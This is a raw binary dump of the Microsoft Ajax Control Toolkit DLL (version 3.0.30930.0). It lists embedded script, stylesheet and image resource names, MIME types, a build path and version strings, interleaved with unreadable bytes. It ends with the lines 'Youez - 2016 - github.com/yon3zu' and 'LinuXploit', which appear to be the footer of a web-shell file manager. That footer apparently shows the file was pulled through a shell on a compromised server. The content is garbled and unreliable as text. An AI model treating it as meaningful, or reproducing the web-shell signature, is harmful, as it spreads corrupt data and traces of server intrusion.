image/gifY;AjaxControlToolkit.HTMLEditor.Toolbar_buttons.RemoveLink.jsapplication/x-javascript_AAjaxControlToolkit.HTMLEditor.Toolbar_buttons.RemoveLink.debug.jsapplication/x-javascriptH3AjaxControlToolkit.MaskedEdit.MaskedEditBehavior.jstext/javascriptN9AjaxControlToolkit.MaskedEdit.MaskedEditBehavior.debug.jstext/javascript\GAjaxControlToolkit.PasswordStrength.PasswordStrengthExtenderBehavior.jstext/javascriptbMAjaxControlToolkit.PasswordStrength.PasswordStrengthExtenderBehavior.debug.jstext/javascriptT?AjaxControlToolkit.ValidatorCallout.ValidatorCalloutBehavior.jstext/javascriptZEAjaxControlToolkit.ValidatorCallout.ValidatorCalloutBehavior.debug.jstext/javascript]8AjaxControlToolkit.ValidatorCallout.ValidatorCallout.csstext/cssTPerformSubstitutionB3AjaxControlToolkit.ValidatorCallout.alert-large.gif	image/gifB3AjaxControlToolkit.ValidatorCallout.alert-small.gif	image/gif<-AjaxControlToolkit.ValidatorCallout.close.gif	image/gifF1AjaxControlToolkit.Animation.AnimationBehavior.jstext/javascriptL7AjaxControlToolkit.Animation.AnimationBehavior.debug.jstext/javascript?*AjaxControlToolkit.Animation.Animations.jstext/javascriptE0AjaxControlToolkit.Animation.Animations.debug.jstext/javascriptT6AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton.jsapplication/x-javascriptZ<AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton.debug.jsapplication/x-javascriptF1AjaxControlToolkit.Accordion.AccordionBehavior.jstext/javascriptL7AjaxControlToolkit.Accordion.AccordionBehavior.debug.jstext/javascriptT?AjaxControlToolkit.CollapsiblePanel.CollapsiblePanelBehavior.jstext/javascriptZEAjaxControlToolkit.CollapsiblePanel.CollapsiblePanelBehavior.debug.jstext/javascriptE'AjaxControlToolkit.HTMLEditor.Editor.jsapplication/x-javascriptK-AjaxControlToolkit.HTMLEditor.Editor.debug.jsapplication/x-javascriptM(AjaxControlToolkit.HTMLEditor.Editor.csstext/cssTPerformSubstitutionH*AjaxControlToolkit.HTMLEditor.EditPanel.jsapplication/x-javascriptN0AjaxControlToolkit.HTMLEditor.EditPanel.debug.jsapplication/x-javascriptO*AjaxControlToolkit.HTMLEditor.Document.csstext/cssTPerformSubstitutionR-AjaxControlToolkit.HTMLEditor.DesignPanel.csstext/cssTPerformSubstitutionA2AjaxControlToolkit.HTMLEditor.Images.ed_anchor.gif	image/gif>/AjaxControlToolkit.HTMLEditor.Images.ed_1x1.gif	image/gif@1AjaxControlToolkit.HTMLEditor.Images.ed_flash.gif	image/gif@1AjaxControlToolkit.HTMLEditor.Images.ed_media.gif	image/gifF7AjaxControlToolkit.HTMLEditor.Images.ed_placeHolder.gif	image/gifK-AjaxControlToolkit.HTMLEditor.PreviewPanel.jsapplication/x-javascriptQ3AjaxControlToolkit.HTMLEditor.PreviewPanel.debug.jsapplication/x-javascript@+AjaxControlToolkit.Rating.RatingBehavior.jstext/javascriptF1AjaxControlToolkit.Rating.RatingBehavior.debug.jstext/javascriptW+AjaxControlToolkit.Slider.SliderBehavior.jstext/javascriptTPerformSubstitution]1AjaxControlToolkit.Slider.SliderBehavior.debug.jstext/javascriptTPerformSubstitutionI$AjaxControlToolkit.Slider.Slider.csstext/cssTPerformSubstitutionA4AjaxControlToolkit.Slider.Images.slider_h_handle.gifimg/gif?2AjaxControlToolkit.Slider.Images.slider_h_rail.gifimg/gifA4AjaxControlToolkit.Slider.Images.slider_v_handle.gifimg/gif?2AjaxControlToolkit.Slider.Images.slider_v_rail.gifimg/gifD/AjaxControlToolkit.ToggleButton.ToggleButton.jstext/javascriptJ5AjaxControlToolkit.ToggleButton.ToggleButton.debug.jstext/javascript\GAjaxControlToolkit.UpdatePanelAnimation.UpdatePanelAnimationBehavior.jstext/javascriptbMAjaxControlToolkit.UpdatePanelAnimation.UpdatePanelAnimationBehavior.debug.jstext/javascriptL7AjaxControlToolkit.AutoComplete.AutoCompleteBehavior.jstext/javascriptR=AjaxControlToolkit.AutoComplete.AutoCompleteBehavior.debug.jstext/javascriptVAAjaxControlToolkit.CascadingDropDown.CascadingDropDownBehavior.jstext/javascript\GAjaxControlToolkit.CascadingDropDown.CascadingDropDownBehavior.debug.jstext/javascript8#AjaxControlToolkit.Common.Common.jstext/javascript>)AjaxControlToolkit.Common.Common.debug.jstext/javascriptF1AjaxControlToolkit.HoverMenu.HoverMenuBehavior.jstext/javascriptL7AjaxControlToolkit.HoverMenu.HoverMenuBehavior.debug.jstext/javascriptA2AjaxControlToolkit.HTMLEditor.Images.ed_link_n.gif	image/gifA2AjaxControlToolkit.HTMLEditor.Images.ed_link_a.gif	image/gifY;AjaxControlToolkit.HTMLEditor.Toolbar_buttons.InsertLink.jsapplication/x-javascript_AAjaxControlToolkit.HTMLEditor.Toolbar_buttons.InsertLink.debug.jsapplication/x-javascriptbDAjaxControlToolkit.HTMLEditor.Toolbar_buttons.OkCancelPopupButton.jsapplication/x-javascripthJAjaxControlToolkit.HTMLEditor.Toolbar_buttons.OkCancelPopupButton.debug.jsapplication/x-javascriptG8AjaxControlToolkit.HTMLEditor.Images.ed_format_sup_n.gif	image/gifG8AjaxControlToolkit.HTMLEditor.Images.ed_format_sup_a.gif	image/gifZ<AjaxControlToolkit.HTMLEditor.Toolbar_buttons.SuperScript.jsapplication/x-javascript`BAjaxControlToolkit.HTMLEditor.Toolbar_buttons.SuperScript.debug.jsapplication/x-javascriptH3AjaxControlToolkit.ListSearch.ListSearchBehavior.jstext/javascriptN9AjaxControlToolkit.ListSearch.ListSearchBehavior.debug.jstext/javascript<'AjaxControlToolkit.HTMLEditor.Events.jstext/javascriptB-AjaxControlToolkit.HTMLEditor.Events.debug.jstext/javascriptdFAjaxControlToolkit.HTMLEditor.Toolbar_buttons.DesignModeImageButton.jsapplication/x-javascriptjLAjaxControlToolkit.HTMLEditor.Toolbar_buttons.DesignModeImageButton.debug.jsapplication/x-javascript>/AjaxControlToolkit.HTMLEditor.Images.ed_sep.gif	image/gifbDAjaxControlToolkit.HTMLEditor.Toolbar_buttons.HorizontalSeparator.jsapplication/x-javascripthJAjaxControlToolkit.HTMLEditor.Toolbar_buttons.HorizontalSeparator.debug.jsapplication/x-javascriptI:AjaxControlToolkit.HTMLEditor.Images.ed_align_center_n.gif	image/gifI:AjaxControlToolkit.HTMLEditor.Images.ed_align_center_a.gif	image/gif\>AjaxControlToolkit.HTMLEditor.Toolbar_buttons.JustifyCenter.jsapplication/x-javascriptbDAjaxControlToolkit.HTMLEditor.Toolbar_buttons.JustifyCenter.debug.jsapplication/x-javascriptM>AjaxControlToolkit.HTMLEditor.Images.ed_format_paragraph_n.gif	image/gifM>AjaxControlToolkit.HTMLEditor.Images.ed_format_paragraph_a.gif	image/gifX:AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Paragraph.jsapplication/x-javascript^@AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Paragraph.debug.jsapplication/x-javascript>)AjaxControlToolkit.NoBot.NoBotBehavior.jstext/javascriptD/AjaxControlToolkit.NoBot.NoBotBehavior.debug.jstext/javascriptN9AjaxControlToolkit.NumericUpDown.NumericUpDownBehavior.jstext/javascriptT?AjaxControlToolkit.NumericUpDown.NumericUpDownBehavior.debug.jstext/javascriptXCAjaxControlToolkit.PagingBulletedList.PagingBulletedListBehavior.jstext/javascript^IAjaxControlToolkit.PagingBulletedList.PagingBulletedListBehavior.debug.jstext/javascript\GAjaxControlToolkit.AlwaysVisibleControl.AlwaysVisibleControlBehavior.jstext/javascriptbMAjaxControlToolkit.AlwaysVisibleControl.AlwaysVisibleControlBehavior.debug.jstext/javascriptM(AjaxControlToolkit.ComboBox.ComboBox.csstext/cssTPerformSubstitution9*AjaxControlToolkit.ComboBox.arrow-down.gif	image/gifE'AjaxControlToolkit.ComboBox.ComboBox.jsapplication/x-javascriptK-AjaxControlToolkit.ComboBox.ComboBox.debug.jsapplication/x-javascript9*AjaxControlToolkit.DropDown.drop-arrow.gif	image/gifM(AjaxControlToolkit.DropDown.DropDown.csstext/cssTPerformSubstitutionD/AjaxControlToolkit.DropDown.DropDownBehavior.jstext/javascriptJ5AjaxControlToolkit.DropDown.DropDownBehavior.debug.jstext/javascriptH9AjaxControlToolkit.HTMLEditor.Images.ed_list_bullet_n.gif	image/gifH9AjaxControlToolkit.HTMLEditor.Images.ed_list_bullet_a.gif	image/gif[=AjaxControlToolkit.HTMLEditor.Toolbar_buttons.BulletedList.jsapplication/x-javascriptaCAjaxControlToolkit.HTMLEditor.Toolbar_buttons.BulletedList.debug.jsapplication/x-javascript@1AjaxControlToolkit.HTMLEditor.Images.ed_cut_n.gif	image/gif@1AjaxControlToolkit.HTMLEditor.Images.ed_cut_a.gif	image/gifR4AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Cut.jsapplication/x-javascriptX:AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Cut.debug.jsapplication/x-javascriptE6AjaxControlToolkit.HTMLEditor.Images.ed_color_fg_n.gif	image/gifE6AjaxControlToolkit.HTMLEditor.Images.ed_color_fg_a.gif	image/gifX:AjaxControlToolkit.HTMLEditor.Toolbar_buttons.ForeColor.jsapplication/x-javascript^@AjaxControlToolkit.HTMLEditor.Toolbar_buttons.ForeColor.debug.jsapplication/x-javascriptA2AjaxControlToolkit.HTMLEditor.Images.ed_html_n.gif	image/gifA2AjaxControlToolkit.HTMLEditor.Images.ed_html_a.gif	image/gifW9AjaxControlToolkit.HTMLEditor.Toolbar_buttons.HtmlMode.jsapplication/x-javascript]?AjaxControlToolkit.HTMLEditor.Toolbar_buttons.HtmlMode.debug.jsapplication/x-javascriptG8AjaxControlToolkit.HTMLEditor.Images.ed_align_left_n.gif	image/gifG8AjaxControlToolkit.HTMLEditor.Images.ed_align_left_a.gif	image/gifZ<AjaxControlToolkit.HTMLEditor.Toolbar_buttons.JustifyLeft.jsapplication/x-javascript`BAjaxControlToolkit.HTMLEditor.Toolbar_buttons.JustifyLeft.debug.jsapplication/x-javascriptA2AjaxControlToolkit.HTMLEditor.Images.ed_redo_n.gif	image/gifA2AjaxControlToolkit.HTMLEditor.Images.ed_redo_a.gif	image/gifS5AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Redo.jsapplication/x-javascriptY;AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Redo.debug.jsapplication/x-javascriptH3AjaxControlToolkit.ModalPopup.ModalPopupBehavior.jstext/javascriptN9AjaxControlToolkit.ModalPopup.ModalPopupBehavior.debug.jstext/javascriptAjaxControlToolkitAjax Control Toolkit	Microsoft1,Copyright © Microsoft Corporation 2006-2007en)$bab84a2c-0861-4cc9-a76d-7dbd9c04b0553.0.30930.0��TExcludeScripts��AjaxControlToolkit.Slider.SliderBehavior.js,AjaxControlToolkit.Seadragon.Seadragon.js,,AjaxControlToolkit.Seadragon.Seadragon.Config.jsD/AjaxControlToolkit.Seadragon.Seadragon.Utils.jstext/javascriptF1AjaxControlToolkit.Seadragon.Seadragon.Buttons.jstext/javascriptJ5AjaxControlToolkit.Seadragon.Seadragon.DisplayRect.jstext/javascriptJ5AjaxControlToolkit.Seadragon.Seadragon.ImageLoader.jstext/javascriptG2AjaxControlToolkit.Seadragon.Seadragon.Profiler.jstext/javascriptC.AjaxControlToolkit.Seadragon.Seadragon.Rect.jstext/javascriptE0AjaxControlToolkit.Seadragon.Seadragon.Spring.jstext/javascriptE0AjaxControlToolkit.Seadragon.Seadragon.Drawer.jstext/javascriptI4AjaxControlToolkit.Seadragon.Seadragon.TileSource.jstext/javascriptG2AjaxControlToolkit.Seadragon.Seadragon.DeepZoom.jstext/javascriptG2AjaxControlToolkit.Seadragon.Seadragon.Viewport.jstext/javascriptF1AjaxControlToolkit.Seadragon.Seadragon.Strings.jstext/javascript>)AjaxControlToolkit.Seadragon.Seadragon.jstext/javascript\0AjaxControlToolkit.Seadragon.Seadragon.Config.jstext/javascriptTPerformSubstitutionK6AjaxControlToolkit.Seadragon.Seadragon.MouseTracker.jstext/javascriptD/AjaxControlToolkit.Seadragon.Seadragon.Point.jstext/javascriptJ5AjaxControlToolkit.Seadragon.Seadragon.Utils.debug.jstext/javascriptL7AjaxControlToolkit.Seadragon.Seadragon.Buttons.debug.jstext/javascriptP;AjaxControlToolkit.Seadragon.Seadragon.DisplayRect.debug.jstext/javascriptP;AjaxControlToolkit.Seadragon.Seadragon.ImageLoader.debug.jstext/javascriptM8AjaxControlToolkit.Seadragon.Seadragon.Profiler.debug.jstext/javascriptI4AjaxControlToolkit.Seadragon.Seadragon.Rect.debug.jstext/javascriptK6AjaxControlToolkit.Seadragon.Seadragon.Spring.debug.jstext/javascriptK6AjaxControlToolkit.Seadragon.Seadragon.Drawer.debug.jstext/javascriptO:AjaxControlToolkit.Seadragon.Seadragon.TileSource.debug.jstext/javascriptM8AjaxControlToolkit.Seadragon.Seadragon.DeepZoom.debug.jstext/javascriptM8AjaxControlToolkit.Seadragon.Seadragon.Viewport.debug.jstext/javascriptL7AjaxControlToolkit.Seadragon.Seadragon.Strings.debug.jstext/javascriptD/AjaxControlToolkit.Seadragon.Seadragon.debug.jstext/javascriptb6AjaxControlToolkit.Seadragon.Seadragon.Config.debug.jstext/javascriptTPerformSubstitutionQ<AjaxControlToolkit.Seadragon.Seadragon.MouseTracker.debug.jstext/javascriptJ5AjaxControlToolkit.Seadragon.Seadragon.Point.debug.jstext/javascriptH;AjaxControlToolkit.Seadragon.images.fullpage_grouphover.pngimg/pngC6AjaxControlToolkit.Seadragon.images.fullpage_hover.pngimg/pngE8AjaxControlToolkit.Seadragon.images.fullpage_pressed.pngimg/pngB5AjaxControlToolkit.Seadragon.images.fullpage_rest.pngimg/pngD7AjaxControlToolkit.Seadragon.images.home_grouphover.pngimg/png?2AjaxControlToolkit.Seadragon.images.home_hover.pngimg/pngA4AjaxControlToolkit.Seadragon.images.home_pressed.pngimg/png>1AjaxControlToolkit.Seadragon.images.home_rest.pngimg/pngF9AjaxControlToolkit.Seadragon.images.zoomin_grouphover.pngimg/pngA4AjaxControlToolkit.Seadragon.images.zoomin_hover.pngimg/pngC6AjaxControlToolkit.Seadragon.images.zoomin_pressed.pngimg/png@3AjaxControlToolkit.Seadragon.images.zoomin_rest.pngimg/pngG:AjaxControlToolkit.Seadragon.images.zoomout_grouphover.pngimg/pngB5AjaxControlToolkit.Seadragon.images.zoomout_hover.pngimg/pngD7AjaxControlToolkit.Seadragon.images.zoomout_pressed.pngimg/pngA4AjaxControlToolkit.Seadragon.images.zoomout_rest.pngimg/pngTWrapNonExceptionThrows���J���?�y?RSDS�y���LC��ļD�"C:\Users\swalther\Projects\AspNetAjax\Releases\30930\AjaxControlToolkitSource\AjaxControlToolkit\obj\Release\AjaxControlToolkit.pdbT�?n�? `�?_CorDllMainmscoree.dll�% @�0�HX�?��4VS_VERSION_INFO���x�x?DVarFileInfo$Translation�,StringFileInfo000004b0DCommentsAjax Control Toolkit4
CompanyNameMicrosoftPFileDescriptionAjaxControlToolkit8FileVersion3.0.30930.0PInternalNameAjaxControlToolkit.dll|,LegalCopyrightCopyright � Microsoft Corporation 2006-2007XOriginalFilenameAjaxControlToolkit.dllHProductNameAjaxControlToolkit<ProductVersion3.0.30930.0HAssembly Version3.0.30930.28736�?�8

Youez - 2016 - github.com/yon3zu
LinuXploit